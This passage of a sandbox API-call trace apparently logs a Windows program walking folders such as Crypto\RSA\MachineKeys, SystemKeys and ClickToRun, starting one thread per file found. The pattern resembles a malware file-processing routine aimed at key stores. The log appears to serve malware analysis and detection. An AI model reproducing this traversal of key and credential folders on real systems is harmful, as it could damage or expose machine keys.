lpFindFileData=0x33eec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.464] wcscmp (_String1="..", _String2=".") returned 1 [0072.464] wcscmp (_String1="..", _String2="..") returned 0 [0072.464] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0072.464] wcscmp (_String1="WindowsAIK", _String2=".") returned 1 [0072.464] wcscmp (_String1="WindowsAIK", _String2="..") returned 1 [0072.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x34799e8 [0072.464] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" [0072.464] wcscat (in: _Dest=0x34799e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\" [0072.464] wcscat (in: _Dest=0x34799e8, _Source="WindowsAIK" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" [0072.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34799e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0072.700] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0072.700] FindClose (in: hFindFile=0x34343a8 | out: hFindFile=0x34343a8) returned 1 [0072.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eec40) returned 1 [0072.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426f30) returned 1 [0072.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0072.700] RtlExitUserThread (Status=0x0) Thread: id = 561 os_tid = 0x1160 [0072.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x347fc40 [0072.465] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0072.465] wcscat (in: _Dest=0x347fc40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0072.465] wcscat (in: _Dest=0x347fc40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*" [0072.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef378 [0072.465] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343e8 [0072.465] wcscmp (_String1=".", _String2=".") returned 0 [0072.465] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.465] wcscmp (_String1="..", _String2=".") returned 1 [0072.465] wcscmp (_String1="..", _String2="..") returned 0 [0072.465] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0072.465] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0072.465] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0072.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347da10 [0072.466] wcscpy (in: _Dest=0x347da10, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0072.466] wcscat (in: _Dest=0x347da10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0072.466] wcscat (in: _Dest=0x347da10, _Source="MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0072.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347da10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0072.698] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0072.698] wcscmp (_String1="S-1-5-18", _String2=".") returned 1 [0072.698] wcscmp (_String1="S-1-5-18", _String2="..") returned 1 [0072.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e260 [0072.698] wcscpy (in: _Dest=0x347e260, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0072.698] wcscat (in: _Dest=0x347e260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0072.698] wcscat (in: _Dest=0x347e260, _Source="S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0072.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0072.698] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0072.698] FindClose (in: hFindFile=0x34343e8 | out: hFindFile=0x34343e8) returned 1 [0072.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef378) returned 1 [0072.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0072.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34310a0) returned 1 [0072.699] RtlExitUserThread (Status=0x0) Thread: id = 562 os_tid = 0x1164 [0072.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dfc0 [0072.466] wcscpy (in: _Dest=0x347dfc0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0072.466] wcscat (in: _Dest=0x347dfc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0072.466] wcscat (in: _Dest=0x347dfc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*" [0072.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef5e0 [0072.466] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434428 [0072.468] wcscmp (_String1=".", _String2=".") returned 0 [0072.468] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.468] wcscmp (_String1="..", _String2=".") returned 1 [0072.469] wcscmp (_String1="..", _String2="..") returned 0 [0072.469] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1 [0072.469] wcscmp (_String1="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2=".") returned 1 [0072.469] wcscmp (_String1="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2="..") returned 1 [0072.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e5030 [0072.469] wcscpy (in: _Dest=0x33e5030, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0072.469] wcscat (in: _Dest=0x33e5030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0072.469] wcscat (in: _Dest=0x33e5030, _Source="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" [0072.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0072.694] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1 [0072.694] wcscmp (_String1="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", _String2=".") returned 1 [0072.694] wcscmp (_String1="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", _String2="..") returned 1 [0072.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e5128 [0072.694] wcscpy (in: _Dest=0x33e5128, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0072.694] wcscat (in: _Dest=0x33e5128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0072.694] wcscat (in: _Dest=0x33e5128, _Source="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" [0072.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0072.695] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 0 [0072.695] FindClose (in: hFindFile=0x3434428 | out: hFindFile=0x3434428) returned 1 [0072.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef5e0) returned 1 [0072.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dfc0) returned 1 [0072.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34277b8) returned 1 [0072.696] RtlExitUserThread (Status=0x0) Thread: id = 563 os_tid = 0x1168 [0072.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6288 [0072.469] wcscpy (in: _Dest=0x33e6288, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0072.470] wcscat (in: _Dest=0x33e6288, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\" [0072.470] wcscat (in: _Dest=0x33e6288, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*" [0072.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eb9b8 [0072.470] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34344e8 [0072.471] wcscmp (_String1=".", _String2=".") returned 0 [0072.471] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.471] wcscmp (_String1="..", _String2=".") returned 1 [0072.471] wcscmp (_String1="..", _String2="..") returned 0 [0072.471] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0072.471] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0072.471] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0072.471] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33e33c8 [0072.471] wcscpy (in: _Dest=0x33e33c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0072.471] wcscat (in: _Dest=0x33e33c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\" [0072.471] wcscat (in: _Dest=0x33e33c8, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0072.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e33c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0072.692] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0072.692] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0072.692] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0072.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x3429278 [0072.692] wcscpy (in: _Dest=0x3429278, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0072.692] wcscat (in: _Dest=0x3429278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\" [0072.692] wcscat (in: _Dest=0x3429278, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0072.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3429278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0072.693] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0072.693] FindClose (in: hFindFile=0x34344e8 | out: hFindFile=0x34344e8) returned 1 [0072.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb9b8) returned 1 [0072.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6288) returned 1 [0072.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6528) returned 1 [0072.693] RtlExitUserThread (Status=0x0) Thread: id = 564 os_tid = 0x116c [0072.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6330 [0072.472] wcscpy (in: _Dest=0x33e6330, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0072.472] wcscat (in: _Dest=0x33e6330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\" [0072.472] wcscat (in: _Dest=0x33e6330, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*" [0072.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ebc20 [0072.472] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*", lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) 